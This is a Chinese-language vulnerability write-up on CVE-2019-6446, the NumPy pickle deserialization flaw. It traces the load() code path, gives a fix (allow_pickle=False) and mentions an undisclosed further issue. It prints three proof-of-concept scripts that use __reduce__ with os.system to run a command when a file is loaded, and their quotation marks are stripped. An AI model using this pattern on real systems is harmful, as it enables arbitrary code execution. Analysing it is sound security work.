1、介紹

NumPy 是 Python 機器學習庫中之一,主要對於多為數組執行計算。NumPy 提供大量的 函數和操作,能夠幫助程序員便利進行數值計算。在 NumPy 1.16.0 版本之前存在反序列化 命令執行漏洞,用戶載入惡意的數據源造成命令執行。

2、環境 軟體環境如下:

NumPy 1.16.0

Windows10

PyCharm 2018.3.2

3、漏洞分析

先來看漏洞的入口,lib/npyio.py 第 288 行附近。如圖所示。

通過 NumPy.lib.npyio.p 之中的load()方法載入序列化文件,通過 file 形參傳入文件,由於allow_pickle=True,所以可以採用序列化文件。

再看漏洞觸發位置,位置在 lib/npyio.py,第 418 行附近。由於在 windows下可能和其它系統下的行數位置存在差異,所以通過搜索_ZIP_PREFIX 變數就能快速定位到位置。為了方便閱讀,我將無關的代碼省略。

try:
# Code to distinguish from NumPy binary files and pickles.
_ZIP_PREFIX = bPKx03x04
_ZIP_SUFFIX = bPKx05x06 # empty zip files start with this ……
if magic.startswith(_ZIP_PREFIX) or magic.startswith(_ZIP_SUFFIX): ……
elif magic == format.MAGIC_PREFIX: ……
else:
# Try a pickle
if not allow_pickle:
raise ValueError("Cannot load file containing pickled data "
"when allow_pickle=False")
try:
return pickle.load(fid, **pickle_kwargs)
except Exception:
raise IOError(
"Failed to interpret file %s as a pickle" % repr(file))
finally:
……

能夠看到這個代碼是用於區分 NumPy 二進位文件和 pickles。默認格式要求 ZIP 文件前綴 PKx03x04 後綴 PKx05x06,如果不滿足默認的格式,則會執行 pickle.load()方法。pickle 模塊的作用是把 python 對象轉換為字元串表示和字元串重構為對象,稱之為封裝和拆封或

為序列化和反序列化。通過查看 pickle 圖表能夠進一步瞭解模塊,模塊是由 BaseException、

pickle._Unpickler、pickle._Pickler、pickle._Franmer、pickle._Urfamer 組成,圖表如下:

緊接著跟進 pickle.load()方法,相關的方法在 pickle._Urpickler 之中,如圖所示:

跟入Lib/pickle.py 第 1060 行,如圖所示:

此處為反序列執行的方法,到此為漏洞的執行流程為: NumPy.lib.npyio.pyload()=>pickle.py load()

4、POC

默認情況下 allow_pickle=True,允許通過文件反序列化,POC 如下:

from numpy.lib import npyio
from numpy import __version__
print(__version__)
import os
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system, (whoami,))
if __name__ == __main__:
tmpdaa = Test()
npyio.save("test",tmpdaa)
npyio.load("test.npy")

或者可以通過 pickles,POC 如下:
from numpy.lib import npyio
from numpy import __version__
print(__version__)
import os
import pickle
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system,(whoami,))
tmpdaa = Test()
with open("test-file.pickle",wb) as f:
pickle.dump(tmpdaa,f)
npyio.load("test-file.pickle")

測試結果,如圖所示:

5、對比分析

這個漏洞讓我想起了之前的反序列化問題,POC 通過構建對象、 reduce 魔法函數, 在 numpy.load()執行反序列化,之前漏洞 POC 如下:

import numpy
from numpy import __version__
print(__version__)
import os
import pickle
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system,(whoami,))
tmpdaa = Test()
with open("test-file.pickle",wb) as f:
pickle.dump(tmpdaa,f)
numpy.load(test-file.pickle)

漏洞觸發原因:numpy/core/numeric.py第 2280 行,如圖所示:

同樣執行了反序列化,兩者的利用非常相似,都是用的 pickle.load()。

6、防禦修復

由於需要 allow_pickle=True,纔可以執行反序列化,所以只要將 allow_pickle=False,就可以避免反序列化問題。NumPy 在 1.16.0 之後的版本進行了修復,修復如下:

7、總結

CVE-2019-6446 漏洞給予我新的啟發,看待漏洞不能僅看漏洞本身,對於不同的漏洞入口也很重要。個人覺得不同的入口算是新的利用思路披露對於認識漏洞是很有幫助。

8、附上 0Day

截止完稿時,這個漏洞還屬於 0day,NumPy.ma.coreload 方法反序列化漏洞,如圖所示:

__________________________________________________________

聲明:本文章來自團隊成員vr_system投稿,僅供白帽子、安全愛好者研究學習,對於用於非法途徑的行為,發布者及作者不承擔任何責任。我們建立了一個以知識共享為主的 免費 知識星球,旨在通過相互交流,促進資源分享和信息安全建設,為以此為生的工作者、即將步入此行業的學生等提供各自之力。為保持知識星球長久發展,所有成員需遵守本星球免費規則,鼓勵打賞;同時保持每月分享至少一次資源(安全類型資源不限,但不能存在一切違法違規及損害他人利益行為),避免「伸手黨」,即使新人我們也鼓勵通過分享心得和筆記取得進步,「殭屍粉」將每月定期清理。

推薦閱讀:

相關文章